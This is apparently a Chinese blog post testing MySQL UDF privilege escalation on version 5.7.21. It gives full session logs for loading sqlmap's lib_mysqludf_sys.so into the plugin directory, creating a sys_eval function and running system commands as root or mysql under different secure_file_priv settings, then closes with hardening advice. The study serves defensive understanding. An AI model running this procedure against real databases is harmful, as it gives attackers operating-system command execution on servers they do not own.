MySQL UDF 提权初探

对 MySQL UDF 提权做一次探究，什么情况下可以提权，提取的主机权限是否跟mysqld进程启动的主机账号有关

数据库信息

MySQL数据库版本:5.7.21

UDF

UDF：(User Defined Function) 用户自定义函数，MySQL数据库的初衷是用于方便用户进行自定义函数，方便查询一些复杂的数据，同时也有可能被攻击者利用，使用udf进行提权。

提权原理：攻击者通过编写调用cmd或者shell的共享库文件（window为.dll，linux为.so），并且导入到一个指定的文件夹目录下，创建一个指向共享库文件的自定义函数，从而在数据库中的查询就等价于在cmd或者shell中执行命令。

执行过程：本质上还是利用了MySQL能够执行系统命令的特点。具体过程如下

（1）攻击者编写一些可以调用cmd或者shell的共享库文件（window为.dll，linux为.so），将共享库导入指定的函数目录中。

（2）在MySQL中创建指向共享库文件的自定义函数。

（3）通过刚刚创建的函数执行系统命令，实现提权。

漏洞详情

当mysql配置secure_file_priv项为空或者secure_file_priv项为plugin文件夹，且可以用弱口令登录数据库，存在udf提权漏洞。

1. 查看漏洞利用条件：secure_file_priv为空或者为plugin文件夹，可以登录数据库，存在plugin文件夹

2. 将udf.so文件导入相关plugin文件夹下

3. 使用udf创建自定义函数
   Create function sys_eval returns string soname ‘udf.so’;

4. 使用自定义函数执行任意代码执行：

获取so文件

$ git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
python3 cloak.py -d -i /tmp/sqlmap-dev/data/udf/mysql/linux/64/lib_mysqludf_sys.so_

$ ll /tmp/sqlmap-dev/data/udf/mysql/linux/64/
-rw-rw-r-- 1 mysql mysql 8040 May 21 15:17 lib_mysqludf_sys.so
-rw-rw-r-- 1 mysql mysql 3200 May 21 15:17 lib_mysqludf_sys.so_

root账号拉起mysqld进程

secure_file_priv=''

mysql> show variables like '%secure_file_priv%';
 ------------------ ---------------- 
| Variable_name    | Value          |
 ------------------ ---------------- 
| secure_file_priv |                |
 ------------------ ---------------- 
mysql> show variables like '%plugin%';
 ------------------------------- ------------------------------------ 
| Variable_name                 | Value                              |
 ------------------------------- ------------------------------------ 
| default_authentication_plugin | mysql_native_password              |
| plugin_dir                    | /mysql/svr/mysql5721/lib/plugin/   |
 ------------------------------- ------------------------------------ 
#导入so文件成功
mysql> create table foo(line blob);
Query OK, 0 rows affected (0.03 sec)

mysql> insert into foo values(load_file('/tmp/sqlmap-dev/data/udf/mysql/linux/64/lib_mysqludf_sys.so'));
Query OK, 1 row affected (0.01 sec)
#导出so文件到plugin_dir下成功
mysql> select * from foo into dumpfile '/mysql/svr/mysql5721/lib/plugin/lib_mysqludf_sys.so';
Query OK, 1 row affected (0.01 sec)
#创建自定义函数成功
mysql> create function sys_eval returns string soname "lib_mysqludf_sys.so";
Query OK, 0 rows affected (0.00 sec)
#调用函数成功
mysql> select sys_eval('whoami');
 -------------------- 
| sys_eval('whoami') |
 -------------------- 
| root               |
 -------------------- 
1 row in set (0.02 sec)

mysql> show variables like '%secure_file_priv%';
 ------------------ ---------------- 
| Variable_name    | Value          |
 ------------------ ---------------- 
| secure_file_priv | /home/mysql/   |
 ------------------ ---------------- 
mysql> show variables like '%plugin%';
 ------------------------------- ------------------------------------ 
| Variable_name                 | Value                              |
 ------------------------------- ------------------------------------ 
| default_authentication_plugin | mysql_native_password              |
| plugin_dir                    | /mysql/svr/mysql5721/lib/plugin/   |
 ------------------------------- ------------------------------------ 
#创建中间表
mysql> create table foo(line blob);
Query OK, 0 rows affected (0.03 sec)
#导入so文件成功
mysql> insert into foo values(load_file('/tmp/sqlmap-dev/data/udf/mysql/linux/64/lib_mysqludf_sys.so'));
Query OK, 1 row affected (0.01 sec)
#导出so文件到plugin_dir下失败
mysql> select * from foo into dumpfile '/mysql/svr/mysql5721/lib/plugin/lib_mysqludf_sys.so';
ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
#导出so文件到secure_file_priv
mysql> select * from foo into dumpfile '/home/mysql/lib_mysqludf_sys.so';
Query OK, 1 row affected (0.00 sec)
#通过plugin的so创建自定义函数失败
mysql> create function sys_eval returns string soname "lib_mysqludf_sys.so";
ERROR 1126 (HY000): Can't open shared library 'lib_mysqludf_sys.so' (errno: 0 /mysql/svr/mysql-5.7.21-linux-glibc2.12-x86_64/lib/plugin/lib_mysqludf_sys.so: cannot open shared object file: No such file or)

secure_file_priv=dirname（secure_file_priv和plugin_dir路径一致）

#plugin_dir路径下有so文件了
#直接创建自定义函数
mysql> create function sys_eval returns string soname "lib_mysqludf_sys.so";
Query OK, 0 rows affected (0.00 sec)
#调用函数成功
mysql> select sys_eval('whoami');
 -------------------- 
| sys_eval('whoami') |
 -------------------- 
| root               |
 -------------------- 
1 row in set (0.02 sec)

secure_file_priv=null

mysql> show variables like '%secure_file_priv%';
 ------------------ ------- 
| Variable_name    | Value |
 ------------------ ------- 
| secure_file_priv | null  |
 ------------------ ------- 
1 row in set (0.01 sec)
mysql> show variables like '%plugin%';
 ------------------------------- ------------------------------------ 
| Variable_name                 | Value                              |
 ------------------------------- ------------------------------------ 
| default_authentication_plugin | mysql_native_password              |
| plugin_dir                    | /mysql/svr/mysql5721/lib/plugin/   |
 ------------------------------- ------------------------------------ 
#创建中间表
mysql> create table foo(line blob);
Query OK, 0 rows affected (0.03 sec)
#导入so文件成功
mysql> insert into foo values(load_file('/tmp/sqlmap-dev/data/udf/mysql/linux/64/lib_mysqludf_sys.so'));
Query OK, 1 row affected (0.01 sec)
#导出so文件到plugin_dir下失败
mysql> select * from foo into dumpfile '/mysql/svr/mysql5721/lib/plugin/lib_mysqludf_sys.so';
ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
#通过plugin的so创建自定义函数失败
mysql> create function sys_eval returns string soname "lib_mysqludf_sys.so";
ERROR 1126 (HY000): Can't open shared library 'lib_mysqludf_sys.so' (errno: 0 /mysql/svr/mysql-5.7.21-linux-glibc2.12-x86_64/lib/plugin/lib_mysqludf_sys.so: cannot open shared object file: No such file or)

普通账号拉起mysqld进程

secure_file_priv=''

mysql> show variables like '%secure_file_priv%';
 ------------------ ---------------- 
| Variable_name    | Value          |
 ------------------ ---------------- 
| secure_file_priv |                |
 ------------------ ---------------- 
mysql> show variables like '%plugin%';
 ------------------------------- ------------------------------------ 
| Variable_name                 | Value                              |
 ------------------------------- ------------------------------------ 
| default_authentication_plugin | mysql_native_password              |
| plugin_dir                    | /mysql/svr/mysql5721/lib/plugin/   |
 ------------------------------- ------------------------------------ 
#导入so文件成功
mysql> create table foo(line blob);
Query OK, 0 rows affected (0.03 sec)

mysql> insert into foo values(load_file('/tmp/sqlmap-dev/data/udf/mysql/linux/64/lib_mysqludf_sys.so'));
Query OK, 1 row affected (0.01 sec)
#导出so文件到plugin_dir下成功
mysql> select * from foo into dumpfile '/mysql/svr/mysql5721/lib/plugin/lib_mysqludf_sys.so';
Query OK, 1 row affected (0.01 sec)
#创建自定义函数成功
mysql> create function sys_eval returns string soname "lib_mysqludf_sys.so";
Query OK, 0 rows affected (0.00 sec)
#调用函数成功
mysql> select sys_eval('whoami');
 -------------------- 
| sys_eval('whoami') |
 -------------------- 
| mysql              |
 -------------------- 
1 row in set (0.06 sec)

余下的几种secure_file_priv=dirname（secure_file_priv和plugin_dir路径不一致），secure_file_priv=dirname（secure_file_priv和plugin_dir路径一致），secure_file_priv=null得出的结果是类似的，这里就不详细继续阐述了，全部写完可能篇数稍长。

总结

• secure_file_priv

  • ''(empty string)，不限制导入和导出的目录。只需将so写到plugin_dir，能创建so自定义函数。存在漏洞风险
  • dirname(指定目录)，限制导入和导出为指定目录。如果指定的目录和plugin_dir相同，能正常创建so自定义函数，存在漏洞风险；否则不能创建so自定义函数
  • null，禁止导入和导出操作，不存在漏洞风险

• 提权账号
  无论采用哪种方式启动数据库(systemctl start mysql、mysqld、mysqld_safe)，提权后的账号根据mysqld进程uid确定

  $ ps -ef|head -1;ps -ef |grep 5721
  UID        PID  PPID  C STIME TTY          TIME CMD
  root     18371 11890  1 17:33 pts/21   00:00:00 /mysql/svr/mysql5721/bin/mysqld --defaults-file=/mysql/conf/mysql5721.cnf
  

• 数据库账号的权限
  目标端需要能执行select...into dumpfile、创建函数权限

建议

1. 使用普通账号启动数据库(配置文件中--user=mysql)
2. secure_file_priv设置为null，禁止导入和导出操作；如果需要导入和导出，将secure_file_priv设置为非plugin_dir目录
3. 数据库密码尽量复杂
4. 关注plugin_dir是否有新增的不明来源的.so文件和关注数据库是否有新增不明来源的自定义函数